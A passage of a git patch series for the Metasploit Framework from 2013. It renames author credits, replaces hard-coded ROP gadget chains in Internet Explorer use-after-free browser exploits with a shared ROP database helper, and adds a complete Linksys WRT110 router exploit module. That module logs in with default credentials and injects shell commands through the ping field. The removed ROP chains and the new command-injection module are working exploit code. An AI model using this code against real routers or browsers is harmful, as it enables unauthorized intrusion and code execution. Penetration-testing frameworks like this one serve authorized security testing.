Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 1d4ca68e74..f359738976 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Local 'Author' => [ 'Todd C. Miller', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # Metasploit module + 'joev', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' => diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 7b316cdcdc..1a93e13352 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -17,7 +17,7 @@ module Metasploit3 'Name' => 'OS X x64 Execute Command', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' ], + 'joev' ], 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64 diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 387a28ee5d..437f7cea91 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -30,7 +30,7 @@ module Metasploit3 [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' + 'joev' ], 'License' => BSD_LICENSE, 'Platform' => 'osx', diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 1eaa6b208b..c5bcf75334 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post 'Author' => [ "Jann Horn", # discovery - "joev <jvennix[at]rapid7.com>" # metasploit module + "joev" # metasploit module ], 'DisclosureDate' => 'Nov 20 2012', 'Platform' => %w{ linux osx } diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 73dc634c2a..5b41a15076 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post command using -e, so the payload never hits the disk. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ] )) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 86bf9db69a..6cba8e5917 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Joff Thyer <jsthyer[at]gmail.com>', # original post module - 'joev <jvennix[at]rapid7.com>' # bug fixes + 'joev' # bug fixes ], 'Platform' => [ 'osx' ], 'References' => [ diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 861252e076..ac952509c7 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post capture (with the RECORD action) audio inputs on a remote OSX machine. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 09cf065e0f..88352d45f7 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post record a webcam and mic (with the RECORD action) }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ From 219bef41a70e74fa91e199e6cf189e6a6cab2559 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 13:12:32 -0500 Subject: [PATCH 47/68] Decaps Siemens (consistent with other modules) --- .../windows/browser/siemens_solid_edge_selistctrlx.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 359ba01178..aad811d6bd 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", + 'Name' => "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", 'Description' => %q{ - This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product. + This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product. The vulnerability exists on several APIs provided by the control, where user supplied input is handled as a memory pointer without proper validation, allowing an attacker to read and corrupt memory from the target process. This module abuses the methods NumChildren() and @@ -497,4 +497,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end From aea63130a440c874801c8a4ce87a87f9cefc4e14 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 14:03:07 -0500 Subject: [PATCH 48/68] Use RopDb for ie_cbutton_uaf. All targets tested except for Vista. Will need additional testing during review. --- .../windows/browser/ie_cbutton_uaf.rb | 97 +++---------------- 1 file changed, 12 insertions(+), 85 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index a7771ac39d..2c2547cbb5 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -135,100 +135,27 @@ class Metasploit3 < Msf::Exploit::Remote # No rop. Just return the payload. return code if t['Rop'].nil? + # Make post code execution more stable + code << rand_text_alpha(12000) + + msvcrt_align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + java_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + rop_payload = '' + case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' - rop_gadgets = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'}) when 'IE 8 on Windows Server 2003' - rop_gadgets = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'}) end else - rop_gadgets = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + rop_payload = generate_rop_payload('java', java_align + code) end - rop_payload = rop_gadgets - case t['Rop'] - when :msvcrt - rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - else - rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - end - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - return rop_payload + rop_payload end def load_exploit_html(my_target, cli) From ec6516d87ccc347bef17af73c49433b91c38667a Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Oct 2013 14:06:13 -0500 Subject: [PATCH 49/68] Deprecate misnamed module. * Renames to a linux linksys module. --- .../linux/http/linksys_wrt110_cmd_exec.rb | 121 ++++++++++++++++++ .../http/linksys_wrt110_cmd_exec_stager.rb | 5 + 2 files changed, 126 insertions(+) create mode 100644 modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb new file mode 100644 index 0000000000..91270597fc --- /dev/null +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT110 Remote Command Execution', + 'Description' => %q{ + The Linksys WRT110 consumer router is vulnerable to a command injection + exploit in the ping field of the web interface. + }, + 'Author' => + [ + 'Craig Young', # Vulnerability discovery + 'joev <jvennix[at]rapid7.com>', # msf module + 'juan vazquez' # module help + echo cmd stager + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3568'], + ['BID', '61151'], + ['URL', 'http://seclists.org/bugtraq/2013/Jul/78'] + ], + 'DisclosureDate' => 'Jul 12 2013', + 'Privileged' => true, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + ['Linux mipsel Payload', { } ] + ], + 'DefaultTarget' => 0, + )) + + register_options([ + OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), + OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), + OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) + ], self.class) + + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/HNAP1/' + }) + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + test_login! + + execute_cmdstager + end + + # Sends an HTTP request with authorization header to the router + # Raises an exception unless the login is successful + def test_login! + print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") + + res = send_auth_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if not res or res.code == 401 or res.code == 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") + else + print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") + end + end + + # Run the command on the router + def execute_command(cmd, opts) + send_auth_request_cgi({ + 'uri' => '/ping.cgi', + 'method' => 'POST', + 'vars_post' => { + 'pingstr' => '& ' + cmd + } + }) + + Rex.sleep(1) # Give the device a second + end + + # Helper methods + def user; datastore['USERNAME']; end + def pass; datastore['PASSWORD'] || ''; end + + def send_auth_request_cgi(opts={}, timeout=nil) + timeout ||= datastore['TIMEOUT'] + opts.merge!('authorization' => basic_auth(user, pass)) + begin + send_request_cgi(opts, timeout) + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end +end diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 91270597fc..0fd6d53cb6 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -10,6 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + # handle module misnomer + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 7), 'exploit/linux/http/linksys_wrt110_cmd_exec' + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho From 4ba001d6dd022bc0b6adc2d3c83f5e056b7faafe Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Oct 2013 14:10:47 -0500 Subject: [PATCH 50/68] Put my short name to prevent conflicts. --- modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb | 2 +- modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 91270597fc..b220e133a6 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 0fd6d53cb6..e7102583ac 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, From 67228bace85bbd8245ed8c03bbb70d9e29834e4c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 14:51:34 -0500 Subject: [PATCH 51/68] Use RopDb for ie_cgenericelement_uaf. All targets tested except for Vista, so additional testing will need to be done during review. --- .../windows/browser/ie_cgenericelement_uaf.rb | 72 +++---------------- 1 file changed, 9 insertions(+), 63 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index a8b01641fd..1f89fe8ae0 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -117,77 +117,23 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(t, cli) rop_payload = '' + # Extra junk in the end to make sure post code execution is stable. + p = payload.encoded + p << rand_text_alpha(12000) + case t['Rop'] when :msvcrt - algin = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - chain = '' - + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' - chain = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - + rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' - junk = rand_text_alpha(4).unpack("V")[0].to_i - nop = make_nops(4).unpack("V")[0].to_i - - chain = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'2003'}) end - rop_payload = chain + algin + payload.encoded - else code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - code << payload.encoded - code << rand_text_alpha(12000) + code << p rop_payload = generate_rop_payload('java', code) end From 7222e3ca492f296282065b62195fa3c5a26307e5 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 15:09:36 -0500 Subject: [PATCH 52/68] Use RopDb for ms13_055_canchor. All targets tested. --- .../windows/browser/ms13_055_canchor.rb | 89 +++---------------- 1 file changed, 14 insertions(+), 75 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55b6843d11..1368a81c43 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -109,85 +110,25 @@ class Metasploit3 < Msf::Exploit::Remote nil end - def get_payload(t, cli) - rop = '' - code = payload.encoded - esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - - case t['Rop'] - when :msvcrt - # Stack adjustment # add esp, -3500 - esp_align = "\x81\xc4\x54\xf2\xff\xff" - + def get_payload(t) + if t['Rop'] == :msvcrt print_status("Using msvcrt ROP") - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + esp_align = "\x81\xc4\x54\xf2\xff\xff" + rop_dll = 'msvcrt' + opts = {'target'=>'xp'} else print_status("Using JRE ROP") - rop = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + rop_dll = 'java' + opts = {} end - rop_payload = rop - rop_payload << esp_align - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - rop_payload - end - - def junk - rand_text_alpha(4).unpack("V")[0].to_i - end - - def nop - make_nops(4).unpack("V")[0].to_i + p = esp_align + payload.encoded + rand_text_alpha(12000) + generate_rop_payload(rop_dll, p, opts) end def get_html(t, p) + junk = rand_text_alpha(4).unpack("V")[0].to_i js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) @@ -195,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote q_id = Rex::Text.rand_text_alpha(1) - html = %Q| + %Q| <!DOCTYPE html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> @@ -244,8 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote <t:ANIMATECOLOR id="myanim"/> </html> | - - html end def on_request_uri(cli, request) @@ -253,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote t = get_target(agent) if t - p = get_payload(t, cli) + p = get_payload(t) html = get_html(t, p) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) From f4000d35ba4829ef821f19789d1b07a58c99d034 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 15:24:01 -0500 Subject: [PATCH 53/68] Use RopDb for ms13_069 Target tested --- .../windows/browser/ms13_069_caret.rb | 32 ++----------------- 1 file changed, 3 insertions(+), 29 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index d8c6d5ac1f..da93c1889a 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -106,32 +107,6 @@ class Metasploit3 < Msf::Exploit::Remote def get_payload(t) - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - # This data should appear at the beginning of the target address (see TargetAddr in metadata) p = '' p << rand_text_alpha(225) # Padding to avoid null byte addr @@ -139,10 +114,9 @@ class 